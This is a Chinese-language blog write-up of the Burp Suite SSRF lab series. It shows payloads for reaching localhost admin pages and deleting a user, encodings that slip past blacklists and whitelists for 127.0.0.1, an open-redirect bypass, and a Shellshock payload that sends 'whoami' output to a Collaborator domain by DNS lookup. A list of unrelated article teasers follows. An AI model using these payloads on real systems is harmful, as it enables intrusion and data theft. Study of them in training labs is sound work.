burpsuite靶场——SSRF

news2025/1/18 17:07:21

文章目录

    • 针对本地服务器的基本 SSRF
    • 针对另一个后端系统的基本 SSRF
    • SSRF 与基于黑名单的输入过滤器
    • 基于白名单的输入过滤器的 SSRF
    • SSRF 通过开放重定向漏洞绕过过滤器
    • 带外检测的盲 SSRF
    • 利用 Shellshock 的盲 SSRF

针对本地服务器的基本 SSRF

image-20221222231512567

在商品下查看货物库存情况时抓包

image-20221223113359387

stockApi参数 ,来进行访问

根据目的修改成http://localhost/admin 是顺利访问到该页面的 ,也可以访问delete?username=carlos来删除这个用户

image-20221223113552987

为什么服务器会默认信任来自本地地址的请求呢,大概有如下原因

  • 访问控制策略可能编写于前端,我们修改请求包的时候是已经通过了前端的,所以很容易就被绕过了
  • 有的应用程序为了方便灾难恢复将服务器设置为任意用户都可访问,这就导致也会默认信任本地地址

针对另一个后端系统的基本 SSRF

image-20221223114035115

有的后端系统用户是无法直接访问的,但是服务器可以成功向其发送请求,所以如果利用ssrf同样可以向这些本不对用户开放的后端系统发出恶意请求。

同样的方式,不过需要对ip进行爆破

image-20221223114536223

image-20221223114703069

同样操作即可

SSRF 与基于黑名单的输入过滤器

最常见的黑名单哦,127.0.0.1和localhost等关键词有不少方法来绕

127.0.0.1绕过-进制转换
 
十进制 2130706433
 
八进制 017700000001
 
二进制 0b1111111000000000000000000000001 
十六进制 0x7f000001

http://localhost/       # localhost就是代指127.0.0.1
http://0/               # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

admin用双重url编码即可

image-20221223122131260

基于白名单的输入过滤器的 SSRF

在@前加的内容都不会被解析成host的内容,而#或?后面的的内容也不会被解析到path中

url=http://ctf.@127.0.0.1/flag.php?show
image-20221223122847413

双 URL 编码#%2523

http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

SSRF 通过开放重定向漏洞绕过过滤器

image-20221223124404118

以上的尝试是不行的

image-20221223124714681

另一个功能点,查看下一个商品 ,会重定向到下一个商品

image-20221223124814272

可以利用这里的path参数进行重定向到指定的页面

image-20221223125407374

带外检测的盲 SSRF

与sql盲注相同,ssrf盲打最佳利用方式就是通过带外技术接收响应结果。也是同样使用burp自带的简易带外平台collaborator。即使有一些HTTP流量会被拦截,也会因为不怎么拦截DNS流量而获取我们想要的结果。
有的情况还可以利用SSRF盲打对目标后端系统进行探测,比如探测目标网络中开放的主机及端口之类的,这些同样也可以通过带外通道接收到。

image-20221223130311996

题目中直接告诉我们Referer头存在SSRF盲打漏洞

image-20221223164615443

image-20221223164641670

临时collaborator地址贴上去

image-20221223164710773

客户端接收到了发过来的DNS请求

image-20221223164923076

证明这里存在可以盲打的ssrf

利用 Shellshock 的盲 SSRF

image-20221223165905729

安装一下Collaborator Everywhere插件

image-20221223173432046

从名字就能看出来这个插件可以对每一个点都进行collaborator测试以发现可以使用带外技术发送请求的点,为了方便插件进行测试,我们将靶场地址添加到目标中

image-20221223174059058

然后开启网页代理,随意访问

image-20221223174336870

自动fuzz出一些存在的问题点referer和user-agent

题目给出了请用shellshock的payload进行ssrf盲打192.168.0.*:8080, 寻找Shellshock(CVE-2014-6271) 的payload

() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

先用Burp Collaborator client创建个域名 替换BURP-COLLABORATOR-SUBDOMAIN

p8y574iqy5ac2it9il925s2vvm1cp1.oastify.com

image-20221223182733077

Collaborator client有回显出来 **peter-QB8oXF** 就是用户,说明whoami不仅执行成功了,还把执行结果附加在URL中向指定的collaborator客户端发送请求了

image-20221223182929507

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/116866.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

操作系统实验2:fork()系统调用

操作系统实验2:fork()系统调用 文章目录操作系统实验2:fork()系统调用Task1: fork的基本使用代码运行结果解释Task2: 深入理解fork创建的子进程与父进程的关系代码实验结果现象解释遇到的问题1.乌龙事件 vscode2.the troubles encountered in task1如何跑.sh文件编译链接遇到的…

SegeX Progress:MFC通用进度条

----哆啦刘小洋 原创,转载需说明出处 MFC高级通用进度条-目录1 简介2 进度条实现基本原理3 使用方法3 .1 简单情况3.2 两个前后独立的进度条3.3 实际应用的一般情况3.4 带子进度条4 其他4.1 使用限制4.2 其他全局宏(函数)4.3 当前进度条设置1…

技术开发107

技术开发107 业务内容: 汽车音响等汽车电子部件试制、电子设备部件试制、精密钣金试制精密钣金试制 公司简介: 代表:中山尚美 成立时间:1950年6月 资本金:1000万日元 员工数:15名 资格认证&#xff…

数智为线,经纬中国:新华三勾勒出的山河锦绣

刺绣,是中华民族源远流长的技艺美术。早在《尚书》中,就记载了章服制度“衣画而裳绣”。而刺绣之美之所以能够传承千年,形成中国审美的一张名片,就是因为传统的染色技艺不够精细,颜色常常浮在布匹表面,但刺…

【卫朋】营销技能:营销4P之外,还有这些经典理论

一提到市场营销,很多人都可能会联想到经典的营销4P理论,但你可能不知道的是,4P理论只是“4字营销理论家族”中的一员。 市场营销“4字家族”中的4P、4R、4C理论构成了市场营销的基础部分。 它们诞生于特殊的环境和年代,为当时的企…

Redis原理篇—内存回收

Redis原理篇—内存回收 笔记整理自 b站_黑马程序员Redis入门到实战教程 内存过期策略-过期key处理 Redis 之所以性能强,最主要的原因就是基于内存存储。然而单节点的 Redis 其内存大小不宜过大,会影响持久化或主从同步性能。 我们可以通过修改配置文件…

再学C语言16:表达式和语句

语句组成了C的基本程序的步骤,大多数语句由表达式构造而成 一、表达式 表达式(expression)由运算符和操作数组合构成 操作数是运算符操作的对象,可以是常量、变量或二者的组合 C的一个重要属性:每一个C表达式都有一…

Python 基础教程(1)——翻转字符串、集合运算、字符串、列表、元组、字典、数据类型转换、Python推导式、Python运算符、Python 数字类型转换、字符串

1.翻转字符串 def reverseWords(input):# 通过空格将字符串分隔符,把各个单词分隔为列表inputWords input.split(" ")# 翻转字符串# 假设列表 list [1,2,3,4], # list[0]1, list[1]2 ,而 -1 表示最后一个元素 list[-1]4 ( 与 list[3]4 一样…

【C++进阶】特殊类设计

🎇C学习历程:入门 博客主页:一起去看日落吗持续分享博主的C学习历程博主的能力有限,出现错误希望大家不吝赐教分享给大家一句我很喜欢的话: 也许你现在做的事情,暂时看不到成果,但不要忘记&…

vue书写一个uni-app小程序

在本次文章中我来大致向大家介绍一下如何使用Hbuilder X来编写一个uni-app的小程序的项目,在此我只说编写的方法与方向,具体的操作留给大家去亲自实操哦。 1.起步(创建一个uni-app框架): 首先,我们需要把…

低代码破解了软件开发“不可能三角”?我做了个测评...

老读者知道,K哥写了10几年代码,后来转做技术管理,现在是上市公司的技术高管。在我们软件行业有一条铁律:长周期、大规模的软件研发过程当中,想要维持良好的运作,需要解决:成本、效能、质量。而且…

Doris-查询(三)

目录1、查询设置1.1、增大内存1.2、修改超时时间1.3、查询重试和高可用1.3.1 代码方式1.3.2 JDBC Connector1.3.3 ProxySQL 方式2、简单查询3、Join查询3.1 Broadcast Join3.2 Shuffle Join(Partitioned Join)3.3 Colocation Join3.3.1 原理3.3.2 使用3.…

数字孪生电力3D可视化管控平台

当前,新一轮科技革命和产业变革加速演进,物联网、大数据、云计算、人工智能、5G等新一代信息技术快速发展。在众多技术手段中,数字孪生技术以虚实结合为主,架起虚拟世界与现实世界之间沟通的桥梁,为人们提供了更加便捷…

分享5款可以录屏的软件,录屏幕视频软件,亲测好用

很多小伙伴都会使用电脑来作为自己办公、娱乐、学习生活的工具。在电脑上安装录屏软件,可以轻松的协助我们进行网课录制、会议录制、影剧片段录制等。网络上的录屏软件有很多,今天小编分享5款亲测好用的录屏软件,一起来看看吧。 可以录屏的软…

数据结构进阶 二叉搜索树

作者:小萌新 专栏:数据结构进阶 作者简介:大二学生 希望能和大家一起进步! 本篇博客简介:介绍二叉搜索树并且模拟实现之 二叉搜索树二叉搜索树的概念节点类二叉搜索树类私有成员构造函数拷贝构造函数赋值运算符重载函数…

若想学 HTML,应从何入手?

前言 个人信息: 大三 工商管理 逻辑算清晰 无编程基础 想学网页设计,打算从HTML开始 。 下面是问题: 需要先学一些更基础的语言(如C之类的)吗?有何建议: (1)看哪些书、泡…

无忧·企业邮筒功能介绍

应用介绍 企业邮筒,基于B/S模式的邮件客户端,采用JVS的统一用户体系,作为JVS的协同办公的应用之一。 产品特点 私有化部署、支持多邮件账户、将多个邮件客户端统一为web操作、 软件架构 软件架构说明,JVS-mailbox是作为JVS基…

服装实体店运营需要的所有软件,合集在此!(建议收藏)实体店运营 实体店运营干货 实体店运营全流程所需系统推荐

随着信息化普及程度越来越高,各行各业的运转速度都在加快,做生意的老板们也开始发现,单靠以前的人工管理已经完全不够用了。 尤其是服装实体店,款式分类多,库存又容易挤压,更加需要有科学的手段去管控日常的…

MyBatis学习 | 缓存机制

文章目录一、一级缓存1.1 简介1.2 一级缓存的失效情况二、二级缓存2.1 简介2.2 二级缓存的使用学习地址🔗 https://www.bilibili.com/video/BV1mW411M737https://www.bilibili.com/video/BV1NE411Q7Nx官网文档 一、一级缓存 1.1 简介 💬概述&#xff1…

Spring与SpringBoot

目录 前言 1、Spring能做什么 1.1、Spring的能力 1.2、Spring的生态 1.3、Spring5重大升级 1.3.1、响应式编程 1.3.2、内部源码设计 2、为什么用SpringBoot 2.1、SpringBoot优点 2.2、SpringBoot缺点 3、时代背景 3.1、微服务 3.2、分布式 分布式的困难 分布式的…